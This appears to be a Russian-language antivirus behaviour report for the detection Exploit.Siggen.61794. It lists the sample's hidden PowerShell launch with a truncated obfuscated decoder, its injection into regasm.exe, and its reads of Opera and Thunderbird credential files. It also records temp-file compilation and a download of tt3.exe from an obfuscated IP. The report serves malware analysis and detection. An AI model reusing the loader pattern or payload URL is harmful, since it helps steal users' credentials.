Exploit.Siggen.61794

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function md5da6 {param($a4f63c8)$t3de3='v16b1af';$y3ac8='';for ($i=0; $i -lt $a4f63c8.length;$i+=2){$eff74=[convert]::ToByte($a4f63c8.Substring($i,2),16);$y3ac8+=[char]($e...

Внедряет код в

следующие системные процессы:

%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe

Читает файлы, отвечающие за хранение паролей сторонними программами

%APPDATA%\opera software\opera stable\login data
%APPDATA%\thunderbird\profiles.ini

Изменения в файловой системе

Создает следующие файлы

%TEMP%\7gldv-df.0.cs
%TEMP%\cscfd8c.tmp
%TEMP%\resfd9d.tmp
%TEMP%\bbqsa8pj.dll
%TEMP%\ccfaye2a.0.cs
%TEMP%\ccfaye2a.cmdline
%TEMP%\bbqsa8pj.cmdline
%TEMP%\bbqsa8pj.out
%TEMP%\ccfaye2a.out
%TEMP%\ccfaye2a.dll
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{70483f1b-3a03-4e65-9ae0-9ef018f308f2}.tmp
%APPDATA%\w8f5bd.exe
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%TEMP%\csc1a5b.tmp
%TEMP%\res1a6c.tmp
%TEMP%\bbqsa8pj.0.cs
%TEMP%\_b75dhkz.dll
%TEMP%\7gldv-df.dll
%TEMP%\7gldv-df.out
%TEMP%\dccigjfl.0.cs
%TEMP%\dccigjfl.cmdline
%TEMP%\dccigjfl.out
%TEMP%\_b75dhkz.0.cs
%TEMP%\_b75dhkz.cmdline
%TEMP%\7gldv-df.cmdline
%TEMP%\_b75dhkz.out
%TEMP%\csce89d.tmp
%TEMP%\csce9e5.tmp
%TEMP%\rese88e.tmp
%TEMP%\dccigjfl.dll
%TEMP%\rese8ad.tmp
%TEMP%\rese9f5.tmp
%TEMP%\csce87d.tmp
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol

Удаляет следующие файлы

%TEMP%\rese88e.tmp
%TEMP%\dccigjfl.dll
%TEMP%\dccigjfl.pdb
%TEMP%\resfd9d.tmp
%TEMP%\cscfd8c.tmp
%TEMP%\bbqsa8pj.0.cs
%TEMP%\bbqsa8pj.pdb
%TEMP%\bbqsa8pj.out
%TEMP%\ccfaye2a.0.cs
%TEMP%\bbqsa8pj.dll
%TEMP%\res1a6c.tmp
%TEMP%\csc1a5b.tmp
%TEMP%\ccfaye2a.out
%TEMP%\ccfaye2a.dll
%TEMP%\ccfaye2a.pdb
%TEMP%\dccigjfl.0.cs
%TEMP%\bbqsa8pj.cmdline
%TEMP%\dccigjfl.out
%TEMP%\7gldv-df.0.cs
%TEMP%\csce87d.tmp
%TEMP%\rese8ad.tmp
%TEMP%\csce89d.tmp
%TEMP%\rese9f5.tmp
%TEMP%\csce9e5.tmp
%TEMP%\7gldv-df.cmdline
%TEMP%\7gldv-df.pdb
%TEMP%\_b75dhkz.pdb
%TEMP%\7gldv-df.out
%TEMP%\7gldv-df.dll
%TEMP%\_b75dhkz.out
%TEMP%\_b75dhkz.0.cs
%TEMP%\_b75dhkz.cmdline
%TEMP%\_b75dhkz.dll
%TEMP%\dccigjfl.cmdline
%TEMP%\ccfaye2a.cmdline

Сетевая активность

TCP

Запросы HTTP GET

http://16#.#2.41.247/tt3.exe

Другое

Создает и запускает на исполнение

'%APPDATA%\w8f5bd.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function md5da6 {param($a4f63c8)$t3de3='v16b1af';$y3ac8='';for ($i=0; $i -lt $a4f63c8.length;$i+=2){$eff74=[convert]::ToByte($a4f63c8.Substring($i,2),16);$y3ac8+=[char]($e...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7gldv-df.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dccigjfl.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_b75dhkz.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE88E.tmp" "%TEMP%\CSCE87D.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE8AD.tmp" "%TEMP%\CSCE89D.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE9F5.tmp" "%TEMP%\CSCE9E5.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bbqsa8pj.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFD9D.tmp" "%TEMP%\CSCFD8C.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ccfaye2a.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1A6C.tmp" "%TEMP%\CSC1A5B.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7gldv-df.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dccigjfl.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_b75dhkz.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE88E.tmp" "%TEMP%\CSCE87D.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE8AD.tmp" "%TEMP%\CSCE89D.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE9F5.tmp" "%TEMP%\CSCE9E5.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bbqsa8pj.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFD9D.tmp" "%TEMP%\CSCFD8C.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ccfaye2a.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1A6C.tmp" "%TEMP%\CSC1A5B.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
'%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe'